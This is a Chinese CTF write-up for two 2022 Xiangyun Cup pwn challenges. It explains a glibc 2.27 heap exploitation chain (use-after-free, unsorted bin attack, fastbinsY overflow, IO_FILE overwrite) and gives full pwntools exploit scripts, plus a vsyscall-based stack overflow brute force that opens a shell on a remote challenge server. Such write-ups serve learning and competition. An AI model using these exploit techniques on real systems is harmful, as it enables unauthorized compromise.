2022祥云杯

leak

libc版本为2.27, 沙箱开了跟没开差不多。。

image-20221111223338481

image-20221111223405916

程序含有加密和解密的两个函数,这两个函数十分复杂,但是无需用到,其他几个简单的函数里面的功能已经足够获取到flag了。

image-20221111223552784

flag已经提前读取到了一个堆块内。

image-20221111223639107

释放堆块存在UAF。

image-20221111223451708

可以申请十六次堆块,堆块大小十分宽松,在0x60000以内即可,写堆块直接就是read读入。

image-20221111223736604

所以题目的重点在于把堆块内的 flag 打印出来即可,这题可以 IO 打印出堆块内容。通过 unsorted bin attack 改大 global_max_fast ,造成 fastbinY 数组溢出,从而释放大堆块后可以往 main_arena 后面的地址上写入堆地址,本题选择往 write_base 和 write_ptr 写入内容,最后 exit 退出刷新 IO,即可打印出 flag 。

计算申请的 size 公式为:

1
size = (target_addr - main_arena - 0x18) * 2 + 0x20

还可以往 main_arena 后面的地址上写入任意的 8 位十六进制数,因为在 malloc 的时候会把 fastbinsY 的链表头部取出,并且把其 fd 位置的内容作为链表头部写入到 fastbinsY 数组中,而在这个过程中是没有对可控堆块的 fd 位置的内容的合法性做检查。

最后一个小问题就是,要写入 write_base 位置的堆块最好能距离存放 flag 堆块在 0x100 内,这样可以避免堆地址随机化 1/16。

成功打印 flag 。

image-20221111231643391

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./leak')
DEBUG = 1
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:
ip = '127'
port = 30007
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def add(idx, size):
p.sendlineafter(b"Your choice: ", b'1')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Size: ")
p.sendline(str(size).encode('ascii'))


def edit(idx, content):
p.sendlineafter(b"Your choice: ", b'2')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Content: ")
p.send(content)


def free(idx):
p.sendlineafter(b"Your choice: ", b'3')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))


add(0, 0xa48*2+0x20) # base
add(1, 0xa50*2+0x20) # ptr
add(2, 0xa28*2+0x20) # IO flag
add(3, 0xa48*2+0x20)
add(4, 0xa50*2+0x20)
add(5, 0xa28*2+0x20)
add(6, 0x430)
add(7, 0x10)
free(6)
debug()
lw = eval(input("tow bytes==>")) # 本地调试避免 1/16 的随机化。
edit(6, p64(0) + p16(lw - 0x10))
add(8, 0x430)
free(0)
free(1)
free(2)

free(3)
edit(3, p8(0))
add(9, 0xa48*2+0x20)
free(4)
edit(4, p8(0))
add(10, 0xa50*2+0x20)
free(5)
edit(5, p64(0xfbad1800))
add(11, 0xa28*2+0x20)
p.sendlineafter(b"Your choice: ", b'6')
p.interactive()

unexploitable

题目只给了一个栈溢出,没有调用任何的输出函数,保护除了canary都开了。利用vsysycall 0xffffffffff600000滑到主函数的返回地址,然后对进行 1/4096 的爆破。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!usr/bin/env python 
#coding=utf-8
from pwn import *
import random
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./unexploitable')
def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")
while True:
try:
#p = process("./unexploitable")
p = remote('47.95.3.91', 38768)
p.send(b'a'*0x18+ p64(0xffffffffff600000)*2 + b'\x02\x93\x30')
sleep(0.1)
p.sendline(b'ls')
if b'flag' in p.recv(timeout=0.5):
p.sendline(b'cat flag')
pause()
else:
p.close()
continue
p.interactive()
except:
p.close()
查看评论